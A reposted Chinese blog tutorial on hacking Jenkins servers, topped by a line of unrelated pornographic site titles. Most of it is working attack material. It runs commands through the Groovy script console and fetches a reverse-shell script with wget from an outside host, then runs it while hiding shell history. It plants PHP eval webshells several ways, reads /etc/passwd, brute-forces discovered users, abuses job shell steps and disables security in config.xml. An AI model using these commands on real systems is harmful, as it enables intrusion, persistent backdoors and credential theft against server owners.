日韩黑丝制服一区视频播放|日韩欧美人妻丝袜视频在线观看|九九影院一级蜜桃|亚洲中文在线导航|青草草视频在线观看|婷婷五月色伊人网站|日本一区二区在线|国产AV一二三四区毛片|正在播放久草视频|亚洲色图精品一区

分享

知其一不知其二之Jenkins Hacking | 安全脈搏

 bananarlily 2015-08-03

本文首發(fā)安全脈搏 感謝大王叫我來巡山 的投遞 轉(zhuǎn)載請注明來源

大多安全工作者聽到j(luò)enkins都會知道有個未授權(quán)的命令執(zhí)行

但是如果Script頁面要授權(quán)才能訪問呢 或者你的用戶沒有Overall/RunScripts權(quán)限呢

抱著提出問題-->測試問題-->解決問題的思路有了這篇文章

shot_jenkins

 

 

 

 

 

 

 

 

 

由于版本眾多 也不用下載本地測了 直接在內(nèi)網(wǎng)找到六個

 

jenkins_inner

 

 

 

 

截止發(fā)稿 Jenkins新版本為(1.589)

一、 知其一的Jenkins未授權(quán)訪問可執(zhí)行命令

 

http://www.:8080/manage

http://www.:8080/script

默認是8080端口 未授權(quán)訪問就是任意用戶都能訪問 都能執(zhí)行命令

jenkins_1

 

 

1) println "ifconfig -a".execute().text  執(zhí)行一些系統(tǒng)命令

 

老外比較喜歡這樣用:

def sout = new StringBuffer(), serr = new StringBuffer()

def proc = '[INSERT COMMAND]'.execute()

proc.consumeProcessOutput(sout, serr)

proc.waitForOrKill(1000)

println "out> $sout err> $serr"

 

 

2) 直接wget下載back.py反彈shell

 

println "wget http://xxx./tools/back.py -P /tmp/".execute().text

println "python /tmp/back.py 10.1.1.111 8080".execute().text

 

back.py里面已經(jīng)有了HISTFILE代碼,會自動去掉各種history記錄,確保shell斷掉的時候不會被記錄到.bash_history里面

back.py不需要root權(quán)限

jenkins_reverse_shell

 

 

3) 不想反彈試試Terminal Plugin

可以搜索安裝Terminal Plugin

Terminal Plugin
https://wiki./display/JENKINS/Terminal+Plugin

jenkins_terminal

不想提權(quán)的話 還是蠻好用的終端插件 誰用誰知道~

二、不知其二之多種方式寫shell

有時候其他端口有web,我們可以查看nginx/apache配置或者結(jié)合phpinfo寫入webshell

 

嘗試幾次失敗后開始翻閱Groovy  Script語法

The web site for Groovy is http://groovy./

Groovy is a weakly-typed scripting language based on Java.

 

1)Groovy既然是基于Java的弱類型語言 那么先稍微提提它的語法

def name = 'Joe'

println "Hello $name"

//Hello Joe

 

def name = 'Joe'

println "Number of letters in $name is ${name.size( )}"

//Number of letters in Joe is 3

 

//Groovy I/O 文件讀寫

 
讀文件

text = new File("/tmp/back.py").getText();

 
//eachLine -- 打開和讀取文件的每一行

new File("/tmp/back.py").eachLine { 

println it;

}

//readLines

lineList = new File("/tmp/back.py").readLines();

lineList.each { 

println it.toUpperCase();

}

 

write輕輕松松寫文件

new File("/tmp/1.php").write('Hello SecPulse');

 

多行寫入

new File("/tmp/1.php").write("""

This is

just a test file

to play with

""");

 

 

2)幾種寫webshell的錯誤寫法:

println "echo \'<?php @eval($_POST[c6md])?>\' > /var/www/html/media.php".execute().text

println "echo '<?php @eval(\$_POST[c6md])?>\' > /var/www/html/media.php ".execute().text

new File("/tmp/1.php").write("<?php @eval($_POST[s3cpu1se]);?>");

groovy.lang.MissingPropertyException: No such property: _POST for class: Script1

new File("/tmp/1.php").write("<?php @eval($\_POST[s3cpu1se]);?>");

new File("/tmp/1.php").write("<?php @eval(\$\_POST[s3cpu1se]);?>");

 

 

3)腦洞開 多種寫webshell方法

① wget寫webshell

println "wget http://shell./data/t.txt -o /var/www/html/media.php".execute().text

②

new File("/var/www/html/media.php").write('<?php @eval($_POST[s3cpu1se]);?>');

③

def webshell = '<?php @eval($_POST[s3cpu1se]);?>'

new File("/var/www/html/media.php").write("$webshell");

 

④追加法寫webshell

def execute(cmd) {

def proc =  cmd.execute()

proc.waitFor()

}

execute( [ 'bash', '-c', 'echo -n "<?php @eval($" > /usr/local/nginx_1119/html/media.php' ] )

execute( [ 'bash', '-c', 'echo "_POST[s3cpu1se]);?>" >> /usr/local/nginx_1119/html/media.php' ] )

//參數(shù)-n 不要在最后自動換行

 

jenkins_webshell

 

Result: 0 表示成功寫入

Result: 1 表示目錄不存在或者權(quán)限不足 寫入失敗

Result: 2 表示構(gòu)造有異常 寫入失敗

 

Hudson(jenkins類似)找"腳本命令行"

hudson

 

 

 

 

 

 

 

 

 

 

 

執(zhí)行Groovy代碼,讀取服務(wù)器本地/etc/passwd文件:

try{

text = new File("/etc/passwd").getText();

out.print text

} catch(Exception e){

}

 

三、高逼格的Powershell&msf

https://github.com/samratashok/nishang

http://www./db/modules/exploit/multi/http/jenkins_script_console

http://www./2014/06/hacking-jenkins-servers.html

jenkins_msf_3

 

nishang是一個powershell腳本集 msf上面有jenkins對應(yīng)的exploit 感覺都沒必要

四、登錄認證的突破

jenkins可以對每個用戶分配不同的權(quán)限,如Overall/RunScripts或者Job/Configure權(quán)限

user_config_2

 

 

1)某些版本匿名用戶可以訪問asynchPeople 可爆破密碼

(通常很多密碼跟用戶名一樣或者是其他弱口令(top1000),尤其是內(nèi)網(wǎng))

 

//用戶列表:包含所有已知“用戶”,包括當前安全域中的登錄ID和在變更記錄的提交信的息里的人

http://jenkins.:8080/asynchPeople/

jenkins_asynchPeople

 

所有構(gòu)建(builds)

http://jenkins.:8080/view/All/builds

可以導(dǎo)出為XML

http:// jenkins.:8080/view/All/cc.xml

userContent(一般就一個readme):

http:// jenkins.:8080/userContent/

Computers:

http:// jenkins.:8080/computer/

jenkins_computer

 

2) 熟練的猜密碼

根據(jù)這些用戶名 熟練的猜密碼 我們的目標就是要一個有命令執(zhí)行權(quán)限的用戶(最好是這樣,但也不苛求)

有時候是域認證的用戶 爆破立馬觸發(fā)各種郵件報警 顯然就不理智 端詳猜密碼是個絕技~

3) 構(gòu)造精準字典,來爆破

最好是構(gòu)造精準的字典 也可以是top1000之類的弱口令

jenkins_burp

爆破Payload里面的json串可以刪除

主要根據(jù)location判斷爆破成功與否

 

五、低權(quán)限用戶命令執(zhí)行突破

 

不小心猜了個用戶 沒有執(zhí)行權(quán)限 但是有job查看和configure權(quán)限

http://jenkins.:8080/job/Job1/configure

jenkins_execute_shell_1

 

新加一個Execute Shell添加command  (win平臺用Execute Windows batch command)

Cat /etc/passwd

Apply

添加左上側(cè) 立即構(gòu)建

Build History看到歷史BuildId

右鍵

控制臺輸出

http://jenkins.:8080/job/Job1/300/console

純文本方式

http://jenkins.:8080/job/Job1/300/consoleText

 

jenkins_execute_shell_3

 

 

 

 

 

 

 

 

 

 

 

 

 

 

jenkins_execute_shell_2

 

老外也有提及:http://www./2014/08/script-execution-and-privilege-esc-jenkins.html

 

六、asynchPeople等不能訪問時候的突破

 

快速定位用戶有妙招

1) 如果jobs能訪問的話 各種翻jobs 會看到啟動用戶

jenkins_finduser_1

 

 

 

 

 

 

 

 

 

 

2) 如果不能 那么啟用/user/xxx/暴力模式

如果存在

 

 

 

 

 

 

 

 

 

 

 

如果不存在

jenkins_finduser_3

 

 

 

 

 

 

 

 

突破用戶回到上述的四和五~

七、關(guān)于幾個配置和加密

 

1) 根目錄下的關(guān)鍵配置config.xml

① 如果配置不好的話 容易導(dǎo)致config.xml直接下載

http:// jenkins.:8080/config.xml

②[useSecurity]true[/useSecurity] 改為false的話就可以未授權(quán)訪問了

jenkins_config

2) 每個用戶目錄下面的config.xml

passHash使用了Java的強加密方式j(luò)bcrypt

jenkins_config_2

 

pentest工作就是大部分自動化 快速找到安全短板 譬如st2,譬如弱口令,譬如本文的jenkins命令執(zhí)行,快速突破進內(nèi)網(wǎng)完成測試任務(wù)。安全運維人員則必須修補每一個缺口,重視每一塊短板,緊跟每一次安全漏洞披露。以上是一些拙見,歡迎交流~

 

    本站是提供個人知識管理的網(wǎng)絡(luò)存儲空間,所有內(nèi)容均由用戶發(fā)布,不代表本站觀點。請注意甄別內(nèi)容中的聯(lián)系方式、誘導(dǎo)購買等信息,謹防詐騙。如發(fā)現(xiàn)有害或侵權(quán)內(nèi)容,請點擊一鍵舉報。
    轉(zhuǎn)藏 分享 獻花(0

    0條評論

    發(fā)表

    請遵守用戶 評論公約

    類似文章 更多